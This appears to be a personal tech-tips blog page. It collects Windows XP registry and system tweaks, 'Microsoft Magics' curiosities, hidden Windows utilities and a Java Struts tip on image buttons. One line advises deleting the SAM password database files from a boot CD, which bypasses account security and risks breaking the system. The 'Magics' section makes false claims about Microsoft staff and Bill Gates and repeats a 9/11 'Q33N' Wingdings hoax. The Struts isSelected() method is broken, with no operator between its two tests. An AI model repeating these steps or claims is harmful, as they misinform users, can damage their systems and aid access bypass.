msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7

To this:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".

Automatically Kill Programs At Shutdown:

don't you hate it when, while trying to shut down, you get message boxes telling you that a program is still running? Making it so that Windows automatically kills applications running is a snap. Simply navigate to the HKEY_CURRENT_USERControl PanelDesktop directory in the Registry, then alter the key AutoEndTasks to the value 1.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to view shares on other computers. Basically, when you connect to another computer with Windows XP, it checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to 30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called {D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. To create a shortcut on your desktop to lock your computer: Right-click the desktop. Point to New, and then click Shortcut. The Create Shortcut Wizard opens. In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next. Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon: Right click the shortcut and then select Properties. Click the Shortcut tab, and then click the Change Icon button. In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.

Speed up Internet Explorer 6 Favorites
For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why: Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Aspi

WinXP does not come with an Aspi layer. So far almost 90% of the problems with WinXP and CD burning software are Aspi layer problems. After installing WinXP, before installing any CD burning software do a few things first: 1. Open up "My computer" and right click on the CD Recorder. If your CD recorder was detected as a CD recorder there will be a tab called "Recording". On this tab uncheck ALL of the boxes. apply or OK out of it and close my computer. 2. Next install the standard Aspi layer for NT. Reboot when asked. That's is. after the reboot you can install any of the currently working CD recording applications with no problems. If using CD Creator do not install direct CD or Take two as they are currently incompatible but Roxio has promised a fix as soon as XP is released.





Another way ...
Boot from win98 cd, delete the SAM, SAM.SAV, SAM.LOg files ( in sytem32/config folder ). Note: don't delete SAM.exe.

Microsoft Magics

MAGIC #1
Nobody can create a FOLDER anywhere on the computer which can be named as "CON".
This is something pretty cool...and unbelievable. ..
At Microsoft the whole Team, couldn't answer why this happened!
TRY IT NOW, IT WILL NOT CREATE "CON" FOLDER

MAGIC #2
This is something pretty cool and neat...and unbelievable. ..
At Microsoft the whole Team, including Bill Gates, couldn't answer why this happened!
Try it out yourself...
Open Microsoft Word and type
=rand (200, 99)
and then press ENTER

MAGIC #3
For those of you using Windows, do the following:
1. Open an empty notepad file
2. Type "Bush hid the facts" (without the quotes)
3. Save it as whatever you want.
4. Close it, and re-open it.
is it just a really weird bug?
You can try the same thin g above with another sentence "this app can break"

MAGIC #4
hit WTC ...on
9/11 was Q33N ....Open your Notepad in urcomputer and type the flight Number i.e Q33N... Increase the Font Size to 72, Change the Font to Wingdings. U will be amazed by the findings.


Explanation for Magic #1:

In windows the folder name and the special system variables share the same interface, so when you create a folder with a system variable name it will consider that folder already exist!!
these special system variables are available irrespective of path
You cannot create a folder with these names also:
CON, NUL, COM1, COM2, COM3, LPT1, LPT2, LPT3,COM1 to COM9 and LPT1 to LPT9....
CON means console, COM1 means serial port 1, LPT1 means parallel port 1

-Raghu

Easter Egg's In windows -tips

Here are some programs that have been hidden in windows and tips on how to open it
iExpress


Click Start
Click run
Type 'iexpress' and press enter
Program for converting files to Executable ones
Dr Watson

Click Start
Click run
Type 'drwtsn32' and press enter
Program to repair windows problems
Private Charachter Editing

Click Start
Click run
Type 'EUDCEDIT' and press enter
Program to design icons and charachters
Windows Media Player 2

Click Start
Click run
Type 'Mplayer2' and press enter
Windows Media Player 2.0
Windows Media Player 5.1

Click Start
Click run
Type 'Mplay32' and press enter
Microsoft telnet Client

Click Start
Click run
Type 'telnet' and press enter

Struts Tip #1 - Use an ImageButtonBean to represent an image button.

An endless source of aggravation is the HTML input image element. The specification says that browsers should treat this control like an image map. Unlike other buttons, it does not submit a string representing the button's label, it submits the X and Y coordinates. If you look at the HTTP post for an image button, you'll see it looks something like this
myImageButton.x=200
myImageButton.y=300
For most other controls, a Struts developer can create a simple String property to represent the element. This clearly won't work with an image button, because it submits two "dotted" properties instead of a simple "name=value" entry like other elements.
Happily, Struts allows an ActionForm to contain, or nest, other JavaBeans, and will automatically populate the beans using the same syntax as the image element. (What a co-inky-dink!)
To represent an image input element in your ActionForm, say what you mean, and use an ImageButtonBean to capture the X and Y parameters.
public final class ImageButtonBean extends Object {
private String x = null;
private String y = null;
public String getX() {
return (this.x);
}
public void setX(String x) {
this.x = x;
}
public String getY() {
return (this.y);
}
public void setY(String y) {
this.y = y;
}
public boolean isSelected() {
return ((x!=null) (y!=null));
}
} // End ImageButtonBean
Note that we've included a helper method on this bean, isSelected(). This just returns true if either the x or y property is not null. If both are still null, then isSelected() returns false.
Here's how you could declare two ImageButtonBeans on an ActionForm.
// ..
private ImageButtonBean logonButton = new ImageButtonBean();
public void setLogonButton(ImageButtonBean button) {
this.logonButton = button;
}
public ImageButtonBean getLogonButton() {
return this.logonButton;
}
private ImageButtonBean cancelButton = new ImageButtonBean();
public void setCancelButton(ImageButtonBean button) {
this.cancelButton = button;
}
public ImageButtonBean getCancelButton() {
return this.cancelButton;
}
// ...
The next question will be "OK, which button did they push?", so let's define another helper method on the ActionForm to tell us.
public String getSelected() {
if (getLogonButton().isSelected()) {
return Constants.LOGON;
}
if (getCancelButton().isSelected()) {
return Constants.CANCEL;
}
return null; // nobody home
}
In an Action, determining which button is pressed is then a simple matter of asking the form what was selected.
String selected = ((myForm) form).getSelected();
if (Constants.CANCEL.equals(selected)) ...
Of course selected doesn't need to be a String; it could be an int, a custom type to represent your API functions, or even the name of another method for use with a DispatchAction.
Using "API helper methods" on ActionForms, as we did with getSelected(), is a very useful technique. We'll use it again in Tip #2, when we discuss the standard Dispatch Actions.

It's Me

Welcome To All

Hi,

Welcome to my blogger"raghu-techno-tips". Here you can find many tips to help your self in programming with Java,HTML,J2EE......


All The Best